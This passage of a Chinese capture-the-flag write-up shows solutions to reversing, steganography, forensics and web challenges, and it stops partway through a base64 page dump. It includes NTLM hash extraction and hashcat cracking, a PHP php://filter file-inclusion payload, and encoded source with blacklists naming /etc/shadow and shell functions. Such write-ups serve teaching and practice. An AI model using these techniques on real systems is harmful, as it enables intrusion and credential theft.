\u7f16\u5199\u9006\u5411\u89e3\u5bc6\u811a\u672c\uff0c\u5c06 total<\/code> \u4ece\u6700\u5927\u503c\u9012\u51cf\uff0c\u5e76\u53cd\u5411\u5904\u7406\u6570\u7ec4\u5143\u7d20 \u3002<\/p>\n\n\n\n
exp.py<\/p>\n\n\n\n
from ctypes import c_uint32\n\ndef decrypt():\n    v = [1374278842, 2136006540, 4191056815, 3248881376]\n    k = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]\n    delta = 0x87654321\n    n = len(v)\n    rounds = 6 + 52 \/\/ n\n    total = c_uint32(rounds * delta)\n\n    def MX(z, y, total, k, p, e):\n        t1 = (z >> 6 ^ y << 4) + (y >> 2 ^ z << 5)\n        t2 = (total ^ y) + (k[(p & 3) ^ e] ^ z)\n        return (t1 ^ t2) & 0xffffffff\n\n    while total.value != 0:\n        e = (total.value >> 2) & 3\n        y = v[0]\n        for p in range(n - 1, 0, -1):\n            z = v[p - 1]\n            v[p] = (v[p] - MX(z, y, total.value, k, p, e)) & 0xffffffff\n            y = v[p]\n        z = v[n - 1]\n        v[0] = (v[0] - MX(z, y, total.value, k, 0, e)) & 0xffffffff\n        y = v[0]\n        total.value -= delta\n\n    flag = b\"\".join([i.to_bytes(4, 'little') for i in v])\n    print(flag.decode().strip('x00'))\n\nif __name__ == \"__main__\":\n    decrypt()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
yOUar3g0oD@tPw5H<\/code><\/pre>\n\n\n\n
Misc<\/h1>\n\n\n\n
Time_and_chaos_1<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag.txt \u96f6\u5bbd\u89e3\u51fa \u6700\u540e\u7684flag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
_time_fly}<\/code><\/pre>\n\n\n\n
\u672c\u9898\u5c5e\u4e8e\u591a\u6e90\u9690\u5199\u62fc\u63a5\u9898\uff0c\u5b8c\u6574\u7684 flag \u88ab\u62c6\u5206\u5230\u4e86\u4e24\u6761\u72ec\u7acb\u7684\u903b\u8f91\u94fe\u8def\u4e0a\u3002\u5fc5\u987b\u540c\u65f6\u6253\u901a\u201c\u56fe\u50cf\u591a\u5e27\u964d\u566a\u201d\u4e0e\u201c\u6587\u672c\u96f6\u5bbd\u5b57\u7b26\u89e3\u7801\u201d\uff0c\u624d\u80fd\u5c06\u4e24\u6bb5\u8f7d\u8377\u62fc\u63a5\u51fa\u6700\u7ec8\u7684 flag\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
LSB\u53ef\u4ee5\u53d1\u73b0\u53f3\u4e0a\u89d2\u7684\u5b57\u7b26\u4e32 \u6d88\u9664\u566a\u70b9\u5c31\u884c\u4e86<\/p>\n\n\n\n
\u63d0\u53d6\u9644\u4ef6\u4e2d\u7684 1.png \u5230 8.png\u3002\n\u8fd9 8 \u5f20\u56fe\u7247\u662f\u5e26\u6709\u72ec\u7acb\u968f\u673a\u566a\u58f0\u7684\u540c\u5e95\u56fe\uff0c\u5229\u7528\u7edf\u8ba1\u5b66\u7279\u6027\uff0c\u5c06\u5b83\u4eec\u5728 Numpy \u4e2d\u9010\u50cf\u7d20\u53d6\u5747\u503c\uff0c\u5373\u53ef\u5927\u5e45\u62b5\u6d88\u566a\u70b9\u3002\n\u5c06\u964d\u566a\u540e\u7684\u5747\u503c\u56fe\u50cf\u8fdb\u884c\u53cd\u76f8\uff08Invert\uff09\u5904\u7406\u3002\n\u67e5\u770b\u751f\u6210\u7684\u56fe\u50cf\u53f3\u4e0a\u89d2\uff0c\u53ef\u4ee5\u76f4\u63a5\u8bfb\u53d6\u51fa\u524d\u534a\u6bb5\u5b57\u7b26\u4e32\uff1aDASCTF{Logistic_and\u3002<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
exp.py<\/p>\n\n\n\n
import numpy as np\nfrom PIL import Image, ImageOps\n\ndef decode_image_chain():\n    image_paths = [f\"{i}.png\" for i in range(1, 9)]\n    images = [np.array(Image.open(path)) for path in image_paths]\n    avg_img_array = np.mean(images, axis=0).astype(np.uint8)\n    avg_img = Image.fromarray(avg_img_array)\n\n    if avg_img.mode == 'RGBA':\n        r, g, b, a = avg_img.split()\n        rgb_img = Image.merge('RGB', (r, g, b))\n        inverted_img = ImageOps.invert(rgb_img)\n        final_img = Image.merge('RGBA', (*inverted_img.split(), a))\n    else:\n        final_img = ImageOps.invert(avg_img)\n\n    final_img.save(\"recovered_first_half.png\")\n\nif __name__ == \"__main__\":\n    decode_image_chain()<\/code><\/pre>\n\n\n\n
\u62fc\u63a5\u5c31\u884c<\/p>\n\n\n\n
Logistic_and_time_fly<\/code><\/pre>\n\n\n\n
game_go_1<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e00\u4e2a\u6e38\u620f \u5b89\u88c5 \u53ef\u4ee5\u770b\u5230\u6e38\u620f\u5185\u5bb9<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag\u53ea\u80fd\u5728\u6570\u636e\u91cc\u9762 data\u91cc\u9762<\/p>\n\n\n\n
Weapons.rvdata2 \u53ef\u4ee5\u53d1\u73b0\u7b2c\u4e00\u6bb5flag<\/p>\n\n\n\n
strings Data\/*.rvdata2 | grep -E \"[0-9a-f]{8}-\"\nstrings\u4e5f\u53ef\u4ee5 \u8dd1\u51fa\u7684\u524d\u534a\u6bb5 1168cb17-31ff-43b7-<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
DASCTF{1168cb17-31ff-43b7-<\/code><\/pre>\n\n\n\n
\u53e6\u4e00\u4e2aflag\u5728Scripts.rvdata2\u6587\u4ef6\u3002\u8be5\u6587\u4ef6\u662f Ruby Marshal \u5e8f\u5217\u5316\u540e\u7684\u811a\u672c\u6570\u7ec4\uff0c\u5305\u542b\u811a\u672c ID\u3001\u540d\u79f0\u53ca\u7ecf\u8fc7 zlib \u538b\u7f29<\/strong>\u7684\u6e90\u7801\u3002<\/p>\n\n\n\n
\u5b9a\u4f4d\u76ee\u6807\uff1a \u6587\u4ef6\u672b\u5c3e\u5b58\u5728\u4e00\u4e2a\u540d\u4e3a flag<\/code> \u7684\u81ea\u5b9a\u4e49\u811a\u672c\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728 RPG Maker VX Ace \u4e2d\uff0c\u51fa\u9898\u4eba\u81ea\u5b9a\u4e49\u7684\u903b\u8f91\u901a\u5e38\u5199\u5728 Scripts.rvdata2 \u4e2d\u3002\u8fd9\u4e2a\u6587\u4ef6\u662f\u4e00\u4e2a\u88ab Ruby Marshal \u5e8f\u5217\u5316\u8fc7\u7684\u6570\u7ec4\uff0c\u6570\u7ec4\u7684\u7b2c\u4e09\u4e2a\u5143\u7d20\u5b58\u653e\u7740\u88ab Zlib \u538b\u7f29\u8fc7\u7684 Ruby \u6e90\u4ee3\u7801\u3002\u6211\u4eec\u9700\u8981\u63d0\u53d6\u5e76\u89e3\u538b\u8fd9\u4e9b Zlib \u6570\u636e\u5757\u3002<\/code><\/pre>\n\n\n\n
\u53a8\u5b50\u4e5f\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
exp.py<\/p>\n\n\n\n
import zlib\nimport re\n\ndef solve():\n    with open(\"Scripts.rvdata2\", \"rb\") as f:\n        data = f.read()\n\n    for match in re.finditer(b'x78x9c', data):\n        try:\n            do = zlib.decompressobj()\n            dec = do.decompress(data[match.start():])\n            text = dec.decode('utf-8', errors='ignore')\n            if \"-\" in text and \"}\" in text:\n                print(text.strip())\n        except:\n            pass\n\nif __name__ == \"__main__\":\n    solve()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
-b586-8414d383afce}<\/code><\/pre>\n\n\n\n
DASCTF{1168cb17-31ff-43b7-b586-8414d383afce}\n\u63d0\u4ea41168cb17-31ff-43b7-b586-8414d383afce \u5c31\u884c<\/code><\/pre>\n\n\n\n
SAM_and_Steg<\/h2>\n\n\n\n
\u6bd4\u8d5b\u6700\u540e\u624d\u89e3\u51fa \u7136\u540e\u65f6\u95f4\u7ed3\u675f\u4e86 \u6ca1\u6709\u63d0\u4ea4\u4e0a\u53bb<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9898\u76ee\u63d0\u4f9b\u4e86\u4e24\u4e2a Windows \u6ce8\u518c\u8868\u914d\u7f6e\u5355\u5143\u6587\u4ef6\uff1asam<\/code> \u548c system<\/code>\u3002\u6574\u4f53\u5206\u4e3a\u56db\u6b65\uff1aHash\u7834\u89e3 -> \u5bfb\u627e\u9690\u85cf\u7ebf\u7d22 -> \u56fe\u50cf\u9690\u5199\u63d0\u53d6 -> OpenSSL\u89e3\u5bc6\u3002<\/p>\n\n\n\n
\u5229\u7528 sam<\/code> \u548c system<\/code> \u6587\u4ef6\u63d0\u53d6\u7cfb\u7edf\u7528\u6237\u7684 NTLM Hash\uff0c\u5e76\u8fdb\u884c\u5b57\u5178\u7834\u89e3\u83b7\u53d6\u7b2c\u4e00\u5c42\u5bc6\u7801\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::\n*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\n\n\u5f97\u5230 Administrator \u7528\u6237\u7684 NT-Hash\uff1a476b4dddbbffde29e739b618580adb1e<\/code><\/pre>\n\n\n\n
\u7834\u89e3 Hash\uff1a<\/strong> Hashcat \u7528 rockyou \u5b57\u5178\u8fdb\u884c\u7834\u89e3\u3002<\/p>\n\n\n\n
CMD5\u4e5f\u884c\u4f46\u662f\u8981 \u94b1<\/p>\n\n\n\n
\u547d\u4ee4<\/p>\n\n\n\n
hashcat -m 1000 476b4dddbbffde29e739b618580adb1e \/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6587\u4ef6\u5206\u79bb\u4e0e\u63d0\u793a<\/p>\n\n\n\n
\u4f7f\u7528 binwalk \u5206\u79bb\u4f53\u79ef\u8f83\u5927\u7684 system<\/code> \u6587\u4ef6\uff0c\u53d1\u73b0\u5176\u5c3e\u90e8\u6346\u7ed1\u4e86\u4e00\u5f20\u56fe\u7247jpg\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
foremost \u63d0\u53d6\u5c31\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
SAM \u6587\u4ef6\u5c3e\u90e8\uff1a\u91cc\u9762\u6709\u5bc6\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
SilentEye \u9690\u5199\u63d0\u53d6<\/p>\n\n\n\n
\u63d0\u53d6\u51fa \u7684 jpg \u56fe\u7247\u8fdb\u884c SilentEye \u9690\u5199\u63d0\u53d6 \u53ef\u4ee5\u5f97\u5230 \u52a0\u5bc6\u7684\u6587\u4ef6 \u5e94\u8be5\u5c31\u662fflag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5229\u7528\u56fe\u7247\u63d0\u793a\u7684 OpenSSL \u73af\u5883\u548c\u7b2c\u4e8c\u6b65\u53d1\u73b0\u7684\u5bc6\u7801\uff0c\u5bf9 AES256<\/code> \u5bc6\u6587\u8fdb\u884c\u89e3\u5bc6\u3002<\/p>\n\n\n\n
\u6307\u5b9a aes-256-cbc \u7b97\u6cd5\uff0c\u5229\u7528 -md sha256<\/code> \u53c2\u6570\u548c\u63d0\u53d6\u5230\u7684\u5bc6\u94a5 p@s4w0rd<\/code> \u89e3\u5bc6\u6587\u4ef6\uff0c\u5e76\u8f93\u51fa\u4e3a\u538b\u7f29\u5305\u683c\u5f0f\u3002<\/p>\n\n\n\n
openssl enc -d -aes-256-cbc -md sha256 -k p@s4w0rd -in AES256 -out flag.tar.gz\ntar -zxvf flag.tar.gz #\u89e3\u538b\u5c31\u884c<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
aa28f51d-0f54-4286-af3c-86a14fbab4a4<\/code><\/pre>\n\n\n\n
Web<\/h1>\n\n\n\n
\u62ef\u6551\u8299\u8389\u83b2<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b\u4e86\u4e0b\u6e90\u7801\u6ca1\u6709\u4efb\u4f55\u53d1\u73b0\u5bf9\u76ee\u5f55\u8fdb\u884c\u4e86\u626b\u63cf<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
http://45.40.247.139:28837\/robots.txt<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8ddf\u8fdb
php\u4f2a\u534f\u8bae<\/p>\n\n\n\n
http://45.40.247.139:28837\/%EF%BC%9C(%C2%B4%E2%8C%AF%20%CC%AB%E2%8C%AF%60)%EF%BC%\n9E.php<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b\u6837\u5b50\u5e94\u8be5\u8981\u7528\u5230php\u4f2a\u534f\u8bae<\/p>\n\n\n\n
?file=php:\/\/filter\/convert.base64-encode\/resource=\/flag.php<\/code><\/pre>\n\n\n\n
\u5c1d\u8bd5\u4e86\u5f88\u591a\u4e00\u76f4\u51fa\u95ee\u9898\u4f30\u8ba1\u662f\u601d\u8def\u9519\u4e86\u6700\u540e\u5c1d\u8bd5\u8bfb\u53d6\u9875\u9762\u8fd4\u56de\u7684<\/p>\n\n\n\n
?file=php:\/\/filter\/convert.base64-encode\/resource=\/var\/www\/html\/\uff1c(\u00b4\u232f \u032b\u232f`)\uff1e.php<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJ6aC1DTiI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPTAiPg0KICAgIDx0aXRsZT7lrp3nrrHmnLrlhbM8L3RpdGxlPg0KICAgIDxzdHlsZT4NCiAgICAgICAgKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgICAgICBwYWRkaW5nOiAwOw0KICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjMmMxODEwIDAlLCAjMWEwZjBhIDEwMCUpOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdDb3VyaWVyIE5ldycsIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIGNvbG9yOiAjZTRlNGU0Ow0KICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBwYWRkaW5nOiAyMHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgaDEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAyLjVlbTsNCiAgICAgICAgICAgIGNvbG9yOiAjZmY2YjZiOw0KICAgICAgICAgICAgdGV4dC1zaGFkb3c6IDJweCAycHggNHB4IHJnYmEoMCwgMCwgMCwgMC44KTsNCiAgICAgICAgICAgIG1hcmdpbjogMzBweCAwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuaW1hZ2UtY29udGFpbmVyIHsNCiAgICAgICAgICAgIG1hcmdpbjogMzBweCAwOw0KICAgICAgICAgICAgYm9yZGVyOiAzcHggc29saWQgIzhiNDUxMzsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDMwcHggcmdiYSgyNTUsIDEwNywgMTA3LCAwLjMpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuaW1hZ2UtcGxhY2Vob2xkZXIgew0KICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICBoZWlnaHQ6IDQwMHB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBjb2xvcjogIzY2NjsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07DQogICAgICAgICAgICBmb250LXN0eWxlOiBpdGFsaWM7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5lcnJvci1ib3ggew0KICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgxMzksIDAsIDAsIDAuNCk7DQogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjZmY0NDQ0Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTBweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDI1cHg7DQogICAgICAgICAgICBtYXJnaW46IDMwcHggMDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMjBweCByZ2JhKDI1NSwgNjgsIDY4LCAwLjMpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZXJyb3ItYm94IGgyIHsNCiAgICAgICAgICAgIGNvbG9yOiAjZmY2YjZiOw0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS44ZW07DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5lcnJvci1ib3ggcHJlIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgICAgICAgICBjb2xvcjogIzBmMDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7DQogICAgICAgICAgICBvdmVyZmxvdy14OiBhdXRvOw0KICAgICAgICAgICAgZm9udC1zaXplOiAwLjllbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5iZyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjE1LCAwLCAwLjEpOw0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDVweCBzb2xpZCAjZmZkNzAwOw0KICAgICAgICAgICAgcGFkZGluZzogMTVweDsNCiAgICAgICAgICAgIG1hcmdpbjogMjBweCAwOw0KICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsNCiAgICAgICAgICAgIGNvbG9yOiAjZmZkNzAwOw0KICAgICAgICB9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgICAgICAoZnVuY3Rpb24oKXsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHNldFpvb20xMDAoKXsNCiAgICAgICAgICAgICAgICB0cnl7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zdHlsZS56b29tID0gJzEwMCUnOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLnpvb20gPSAnMTAwJSc7DQogICAgICAgICAgICAgICAgfWNhdGNoKGUpew0KICAgICAgICAgICAgICAgICAgICB2YXIgdnAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdtZXRhW25hbWU9InZpZXdwb3J0Il0nKTsNCiAgICAgICAgICAgICAgICAgICAgaWYodnApIHZwLnNldEF0dHJpYnV0ZSgnY29udGVudCcsJ3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihkb2N1bWVudC5yZWFkeVN0YXRlID09PSAnY29tcGxldGUnIHx8IGRvY3VtZW50LnJlYWR5U3RhdGUgPT09ICdpbnRlcmFjdGl2ZScpew0KICAgICAgICAgICAgICAgIHNldFpvb20xMDAoKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLCBzZXRab29tMTAwLCBmYWxzZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0pKCk7DQogICAgPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICA8aDE+4pqg77iPIOWuneeuseacuuWFs+W3suinpuWPkSDimqDvuI88L2gxPg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0iaW1hZ2UtY29udGFpbmVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltYWdlLXBsYWNlaG9sZGVyIj4NCiAgICAgICAgICAgICAgICA8aW1nIHNyYz0ic3RhdGljL21pbWljLnBuZyIgYWx0PSJGbGlsaWVuIGluIGNoZXN0IiBzdHlsZT0ibWF4LXdpZHRoOjEwMCU7IGhlaWdodDphdXRvOyBkaXNwbGF5OmJsb2NrOyIgLz4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgDQogICAgICAgIDw\/cGhwDQogICAgICAgIGlmICghZGVmaW5lZCgnSU5DTFVERURfT05DRScpKSB7DQogICAgICAgICAgICBkZWZpbmUoJ0lOQ0xVREVEX09OQ0UnLCB0cnVlKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCiAgICAgICAgICAgIGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGJsYWNrbGlzdCA9IGFycmF5KA0KICAgICAgICAgICAgICAgICdmbGFnJywNCiAgICAgICAgICAgICAgICAncGhwOi8vaW5wdXQnLA0KICAgICAgICAgICAgICAgICdkYXRhOi8vJywNCiAgICAgICAgICAgICAgICAnZXhwZWN0Oi8vJywNCiAgICAgICAgICAgICAgICAnZmlsZTovLycsDQogICAgICAgICAgICAgICAgJ2dsb2I6Ly8nLA0KICAgICAgICAgICAgICAgICdwaGFyOi8vJywNCiAgICAgICAgICAgICAgICAnL2V0Yy9wYXNzd2QnLA0KICAgICAgICAgICAgICAgICcvZXRjL3NoYWRvdycsDQogICAgICAgICAgICAgICAgJ3dpbi5pbmknLA0KICAgICAgICAgICAgICAgICcuLi8nLA0KICAgICAgICAgICAgICAgICcuLlxcJywNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGZvcmVhY2ggKCRibGFja2xpc3QgYXMgJGJhZCkgew0KICAgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRmaWxlLCAkYmFkKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8ZGl2IGNsYXNzPSJlcnJvci1ib3giPjxoMj7inYwg6a2U5rOV5bGP6Zqc6Zi75q2i5LqG5L2g55qE5bCd6K+VPC9oMj48cD7mo4DmtYvliLDljbHpmannmoTprZTms5XlkpLor60uLi48L3A+PC9kaXY+PC9ib2R5PjwvaHRtbD4nKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGluY2x1ZGUoJGZpbGUpOw0KICAgICAgICB9DQogICAgICAgID8+DQogICAgICAgIA0KICAgICAgICA8ZGl2IGNsYXNzPSJiZyI+DQogICAgICAgICAgICDlpKnlk6rvvIzoipnoipnooqvlrp3nrrHmgKrlm7DkvY\/kuobvvIzkvaDog73mlr3ms5XluK7lpbnohLHnprvlm7DlooPlkJcuLi4uLi4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIA0KICAgICAgICA8P3BocA0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ3NwZWxsJ10pKSB7DQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJlcnJvci1ib3giPic7DQogICAgICAgICAgICBlY2hvICc8aDI+8J+UriDop6PlvIDlrp3nrrHmgKrnmoTlsIHljbA8L2gyPic7DQogICAgICAgICAgICBlY2hvICc8cHJlPic7DQogICAgICAgICAgICBlY2hvICLoipnoipk6IFwi6L+Z5Liq5a6d566x5oCq5pyJ5LiA5Liq5Y+k6ICB55qE5bCB5Y2wLOmcgOimgeato+ehrueahOmtlOazleWSkuivreaJjeiDveino+W8gC4uLlwiXG4iOw0KICAgICAgICAgICAgZWNobyAi6IqZ6IqZOiBcIuaIkeiusOW+l+WwgeWNsOeahOWFs+mUruWcqOagueebruW9leeahOafkOS4quaWh+S7tumHjC4uLlwiXG4iOw0KICAgICAgICAgICAgZWNobyAi6IqZ6IqZOiBcIuS9huaYr+WuneeuseaAqueahOmtlOazleWxj+manOS8muaLkue7neafkOS6m+WNsemZqeeahOWSkuivrSFcIlxuIjsNCiAgICAgICAgICAgIGVjaG8gIuiKmeiKmTogXCLkuZ\/orrjkvaDlj6\/ku6XnlKggTGludXgg5ZG95Luk5p2l6K+75Y+W6YKj5Liq5paH5Lu2P1wiXG4iOw0KDQogICAgICAgICAgICAkc3BlbGwgPSAkX0dFVFsnc3BlbGwnXTsNCiAgICAgICAgICAgIGVjaG8gIuS9oOeahOWSkuivrTogIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNwZWxsKSAuICJcbiI7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRmb3JiaWRkZW4gPSBhcnJheSgnc3lzdGVtJywgJ2V4ZWMnLCAncGFzc3RocnUnLCAnc2hlbGxfZXhlYycsICdwb3BlbicsICdwcm9jX29wZW4nKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRmb3JiaWRkZW4gYXMgJGJhZCkgew0KICAgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRzcGVsbCwgJGJhZCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIGRpZSgi4pqg77iPIOajgOa1i+WIsOemgeW\/jOeahOm7kemtlOazlSFcbuiKmeiKmTogXCLlrp3nrrHmgKrmi5Lnu53kuobov5nkuKrlkpLor60uLi5cIlxuPC9wcmU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmIChzdHJpcG9zKCRzcGVsbCwgJ2ZsYWcnKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBkaWUoIuKaoO+4jyDlrp3nrrHmgKrnmoTprZTms5XlsY\/pmpzlkK\/liqjkuoYh5a6D5LiN5YWB6K6455u05o6l5b+15Ye6ICdmbGFnJyDov5nkuKror40hXG48L3ByZT48L2Rpdj48L2JvZHk+PC9odG1sPiIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkYmxvY2tlZF9jb21tYW5kcyA9IGFycmF5KCdjYXQnLCAndGFjJywgJ25sJywgJ21vcmUnLCAnbGVzcycsICdoZWFkJywgJ3RhaWwnLCAnc29ydCcsICd1bmlxJywgJ3N0cmluZ3MnLCAnb2QnLCAneHhkJywgJ2hleGR1bXAnLCAnZ3JlcCcsICdhd2snLCAnc2VkJywgJ2N1dCcsICdyZXYnLCAnYmFzZTY0JywgJ2VudicpOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGJsb2NrZWRfY29tbWFuZHMgYXMgJGNtZCkgew0KICAgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRzcGVsbCwgJGNtZCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIGRpZSgi4pqg77iPIOWuneeuseaAquivhuegtOS6huS9oOeahOWSkuivrSHlkb3ku6QgJyRjbWQnIOW3suiiq+WwgeWNsCFcbuiKmeiKmTogXCLov5nkupvluLjnlKjnmoTlkb3ku6Tpg73ooqvlsY\/olL3kuoYuLi7lvpfmg7Pmg7Plhbbku5blip7ms5UuLi5cIlxuPC9wcmU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGV